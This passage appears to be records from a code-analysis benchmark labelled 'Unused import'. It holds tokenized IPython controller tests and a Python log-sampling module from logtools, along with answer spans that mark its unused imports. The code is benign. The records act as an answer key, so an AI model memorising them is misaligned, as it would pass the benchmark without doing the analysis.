"er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Controlle", "r", "Mirror", "s", "User", "NS", "With", "Value", "s", "As", "Strings_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "code_", "=_", "\"\"\"", "user", "ns", "1", "=", "1", ";", "user", "ns", "2", "=", "2", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test", "Controlle", "r", "User", "NS_", "(_", "result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "self_", "._", "controller_", "._", "user", "NS_", "[_", "'", "user", "ns", "1", "'_", "]_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "self_", "._", "controller_", "._", "user", "NS_", "[_", "'", "user", "ns", "2", "'_", "]_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "controller_", "._", "execute_", "(_", "code_", ")_", "._", "add", "Callback_", "(_", "test", "Controlle", "r", "User", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", "er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Controlle", "r", "Instantiate", "s", "IE", "ngin", "e_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert\\u_", "(_", "es_", "._", "IE", "ngin", "e", "Base_", "._", "provided", "By_", "(_", "self_", "._", "controller_", "._", "engine_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", "er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Controlle", "r", "Complete", "s", "Token_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "code_", "=_", "\"\"\"", "long", "Name", "Varia", "ble", "=", "10", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test", "Complete", "s_", "(_", "result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert\\u_", "(_", "\"", "long", "Name", "Varia", "ble", "\"_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Complete", "Token_", "(_", "result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "controller_", "._", "complete_", "(_", "\"", "long", "Na", "\"_", ")_", "._", "add", "Callback_", "(_", "test", "Complete", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "controller_", "._", "execute_", "(_", "code_", ")_", "._", "add", "Callback_", "(_", "test", "Complete", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", "er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Curr", "ent", "Indent_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "test", " ", "tha", "t", " ", "current", "\\u", "indent", "\\u", "string", " ", "return", "s", " ", "current", " ", "indent", " ", "or", " ", "Non", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "Us", "es", " ", "\\u", "indent", "\\u", "for", "\\u", "block", " ", "for", " ", "direct", " ", "unit", " ", "testi", "ng", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "controller_", "._", "tab", "Us", "es", "Spaces", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "self_", "._", "controller_", "._", "\\u", "indent", "\\u", "for", "\\u", "block_", "(_", "\"\"\"", "a", "=", "3", "\"\"\"_", ")_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "self_", "._", "controller_", "._", "\\u", "indent", "\\u", "for", "\\u", "block_", "(_", "\"\"_", ")_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block_", "=_", "\"\"\"", "def", " ", "test", "():", "\\\\", "n", " ", " ", " ", " ", "a", "=", "3", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "self_", "._", "controller_", "._", "\\u", "indent", "\\u", "for", "\\u", "block_", "(_", "block_", ")_", "==_", "'", " ", "'_", "*_", "self_", "._", "controller_", "._", "tab", "Spaces", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "block_", "=_", "\"\"\"", "if", "(", "Tru", "e", "):", "\\\\", "n", "%", "sif", "(", "Fal", "se", "):", "\\\\", "n", "%", "spa", "ss", "\"\"\"_", "%_", "(_", "'", " ", "'_", "*_", "self_", "._", "controller_", "._", "tab", "Spaces", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", "*_", "'", " ", "'_", "*_", "self_", "._", "controller_", "._", "tab", "Spaces", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "self_", "._", "controller_", "._", "\\u", "indent", "\\u", "for", "\\u", "block_", "(_", "block_", ")_", "==_", "2_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, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
adamhadani/logtools/logtools/_sample.py
[ { "content": "#!/usr/bin/env python\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); \n# you may not use this file except in compliance with the License. \n# You may obtain a copy of the License at \n# \n# http://www.apache.org/licenses/LICENSE-2.0 \n# \n# Unless required by applicable law or agreed to in writing, software \n# distributed under the License is distributed on an \"AS IS\" BASIS, \n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n# See the License for the specific language governing permissions and \n# limitations under the License. \n\"\"\"\nlogtools._sample\nSampling tools for logfiles\n\"\"\"\n\nimport os\nimport re\nimport sys\nimport logging\nfrom itertools import imap\nfrom random import randint, random\nfrom optparse import OptionParser\nfrom heapq import heappush, heappop, heapreplace\n\nfrom _config import logtools_config, interpolate_config, AttrDict\n\n__all__ = ['logsample_parse_args', 'logsample', 'logsample_weighted', 'logsample_main']\n\n\n\n\n \n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def logsample_parse_args():\n parser = OptionParser()\n parser.add_option(\"-n\", \"--num-samples\", dest=\"num_samples\", type=int, \n help=\"Number of samples to produce\")\n parser.add_option(\"-w\", \"--weighted\", dest=\"weighted\", action=\"store_true\",\n help=\"Use Weighted Reservoir Sampling (needs -f and -d parameters)\")\n parser.add_option(\"-f\", \"--field\", dest=\"field\", type=int,\n help=\"Index of field to use as weight for weighted sampling (-w)\")\n parser.add_option(\"-d\", \"--delimiter\", dest=\"delimiter\",\n help=\"Delimiter character for field-separation used by weighted sampling (-w)\")\n\n parser.add_option(\"-P\", \"--profile\", dest=\"profile\", default='logsample',\n help=\"Configuration profile (section in configuration file)\")\n \n options, args = parser.parse_args()\n\n # Interpolate from configuration\n options.num_samples = interpolate_config(options.num_samples, \n options.profile, 'num_samples', type=int)\n options.weighted = interpolate_config(options.weighted, \n options.profile, 'weighted', type=bool, default=False)\n options.field = interpolate_config(options.field, options.profile, \n 'field', type=int, default=False)\n options.delimiter = interpolate_config(options.delimiter, options.profile, \n 'delimiter', default=' ') \n\n return AttrDict(options.__dict__), args", "metadata": "root.logsample_parse_args", "header": "['module', '___EOS___']", "index": 31 }, { "content": "def logsample(fh, num_samples, **kwargs):\n \"\"\"Use a Reservoir Sampling algorithm\n to sample uniformly random lines from input stream.\"\"\"\n R = []\n N = num_samples\n \n for i, k in enumerate(fh):\n if i < N:\n R.append(k)\n else:\n r = randint(0,i)\n if r < N:\n R[r] = k\n\n # Emit output\n for record in R:\n yield record.strip()", "metadata": "root.logsample", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def logsample_weighted(fh, num_samples, field, delimiter, **kwargs):\n \"\"\"Implemented Weighted Reservoir Sampling, assuming integer weights.\n See Weighted random sampling with a reservoir, Efraimidis et al.\"\"\"\n \n N = num_samples\n delimiter = delimiter\n # NOTE: Convert to 0-based indexing since we expose as 1-based\n field = field-1\n \n R = []\n min_val = float(\"inf\")\n i = 0\n \n for line in fh:\n w = int(line.split(delimiter)[field])\n if w < 1: \n continue\n \n r = random()\n k = r ** (1./w) \n \n if i < N:\n heappush(R, (k, line))\n if k < min_val:\n min_val = k\n else:\n if k > min_val:\n # Replace smallest item in record list\n heapreplace(R, (k, line))\n i+=1\n \n # Emit output\n for key, record in R:\n yield key, record.strip()", "metadata": "root.logsample_weighted", "header": "['module', '___EOS___']", "index": 77 }, { "content": "def logsample_main():\n \"\"\"Console entry-point\"\"\"\n options, args = logsample_parse_args()\n \n if options.weighted is True:\n for k, r in logsample_weighted(fh=sys.stdin, *args, **options):\n print r\n else:\n for r in logsample(fh=sys.stdin, *args, **options):\n print r\n \n return 0", "metadata": "root.logsample_main", "header": "['module', '___EOS___']", "index": 113 } ]
[ { "span": "import os", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 9 }, { "span": "import re", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 9 }, { "span": "import logging", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 14 }, { "span": "from heapq import heappush, heappop, heapreplace", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 48 }, { "span": "from _config import logtools_config, interpolate_config, AttrDict", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 65 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "logt", "ool", "s", ".\\u", "sample", "\\", "10", ";", "Sampl", "ing", " ", "tool", "s", " ", "for", " ", "logfile", "s", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "itertools_", "import_", "imap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "random_", "import_", "randint_", ",_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "optparse_", "import_", "Optio", "n", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "heapq_", "import_", "heapp", "ush_", ",_", "heapp", "op_", ",_", "heap", "replace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u", "config_", "import_", "logt", "ool", "s", "\\u", "config_", ",_", "interpolat", "e\\u", "config_", ",_", "Attr", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "'", "logs", "ample", "\\u", "parse", "\\u", "args", "'_", ",_", "'", "logs", "ample", "'_", ",_", "'", "logs", "ample", "\\u", "weight", "ed", "'_", ",_", "'", "logs", "ample", "\\u", "main", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "logs", "ample", "\\u", "parse", "\\u", "args_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parser_", "=_", "Optio", "n", "Parser_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "n", "\"_", ",_", "\"--", "num", "-", "samples", "\"_", ",_", "dest_", "=_", "\"", "num", "\\u", "samples", "\"_", ",_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Number", " ", "of", " ", "samples", " ", "to", " ", "produce", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "w", "\"_", ",_", "\"--", "weight", "ed", "\"_", ",_", "dest_", "=_", "\"", "weight", "ed", "\"_", ",_", "action_", "=_", "\"", "store", "\\u", "true", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Us", "e", " ", "Weig", "hte", "d", " ", "Rese", "rvo", "ir", " ", "Sampl", "ing", " ", "(", "need", "s", " ", "-", "f", " ", "and", " ", "-", "d", " ", "parameter", "s", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "f", "\"_", ",_", "\"--", "field", "\"_", ",_", "dest_", "=_", "\"", "field", "\"_", ",_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Index", " ", "of", " ", "field", " ", "to", " ", "use", " ", "as", " ", "weight", " ", "for", " ", "weight", "ed", " ", "samp", "ling", " ", "(-", "w", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "d", "\"_", ",_", "\"--", "delimiter", "\"_", ",_", "dest_", "=_", "\"", "delimiter", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Delimite", "r", " ", "character", " ", "for", " ", "field", "-", "separation", " ", "used", " ", "by", " ", "weight", "ed", " ", "samp", "ling", " ", "(-", "w", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "P", "\"_", ",_", "\"--", "profile", "\"_", ",_", "dest_", "=_", "\"", "profile", "\"_", ",_", "default_", "=_", "'", "logs", "ample", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Configura", "tion", " ", "profile", " ", "(", "section", " ", "in", " ", "configura", "tion", " ", "file", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "options_", ",_", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Interpolate", " ", "from", " ", "configuration_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "num", "\\u", "samples_", "=_", "interpolat", "e\\u", "config_", "(_", "options_", "._", "num", "\\u", "samples_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "profile_", ",_", "'", "num", "\\u", "samples", "'_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "weighted_", "=_", "interpolat", "e\\u", "config_", "(_", "options_", "._", "weighted_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "profile_", ",_", "'", "weight", "ed", "'_", ",_", "type_", "=_", "bool_", ",_", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "field_", "=_", "interpolat", "e\\u", "config_", "(_", "options_", "._", "field_", ",_", "options_", "._", "profile_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "field", "'_", ",_", "type_", "=_", "int_", ",_", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "delimiter_", "=_", "interpolat", "e\\u", "config_", "(_", "options_", "._", "delimiter_", ",_", "options_", "._", "profile_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delimiter", "'_", ",_", "default_", "=_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Attr", "Dict_", "(_", "options_", "._", "\\u\\u", "dict\\u\\u_", ")_", ",_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "logs", "ample", "_", "(_", "fh_", ",_", "num", "\\u", "samples_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Us", "e", " ", "a", " ", "Rese", "rvo", "ir", " ", "Sampl", "ing", " ", "algo", "rit", "hm", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "sample", " ", "uniform", "ly", " ", "random", " ", "lines", " ", "from", " ", "input", " ", "stream", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "R_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "N_", "=_", "num", "\\u", "samples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", ",_", "k_", "in_", "enumerate_", "(_", "fh_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "<_", "N_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "R_", "._", "append_", "(_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "randint_", "(_", "0_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", "<_", "N_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "R_", "[_", "r_", "]_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Emit", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "record_", "in_", "R_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "record_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "logs", "ample", "\\u", "weighted_", "(_", "fh_", ",_", "num", "\\u", "samples_", ",_", "field_", ",_", "delimiter_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Impl", "ement", "ed", " ", "Weig", "hte", "d", " ", "Rese", "rvo", "ir", " ", "Sampl", "ing", ",", " ", "ass", "umi", "ng", " ", "integ", "er", " ", "weight", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Weig", "hte", "d", " ", "random", " ", "samp", "ling", " ", "with", " ", "a", " ", "rese", "rvo", "ir", ",", " ", "Ef", "rai", "mid", "is", " ", "et", " ", "al", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "N_", "=_", "num", "\\u", "samples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delimiter_", "=_", "delimiter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "Convert", " ", "to", " ", "0", "-", "based", " ", "indexing", " ", "sinc", "e", " ", "we", " ", "expos", "e", " ", "as", " ", "1", "-", "based", "_", "\\u\\u\\uNL\\u\\u\\u_", "field_", "=_", "field_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "R_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min", "\\u", "val_", "=_", "float_", "(_", "\"", "inf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "line_", "in_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "w_", "=_", "int_", "(_", "line_", "._", "split_", "(_", "delimiter_", ")_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "w_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "r_", "=_", "random_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "k_", "=_", "r_", "**_", "(_", "1._", "/_", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "i_", "<_", "N_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "heapp", "ush_", "(_", "R_", ",_", "(_", "k_", ",_", "line_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "k_", "<_", "min", "\\u", "val_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "min", "\\u", "val_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "k_", ">_", "min", "\\u", "val_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Replace", " ", "smallest", " ", "item", " ", "in", " ", "record", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "heap", "replace_", "(_", "R_", ",_", "(_", "k_", ",_", "line_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Emit", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", ",_", "record_", "in_", "R_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "key_", ",_", "record_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "logs", "ample", "\\u", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Cons", "ole", " ", "entry", "-", "point", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", ",_", "args_", "=_", "logs", "ample", "\\u", "parse", "\\u", 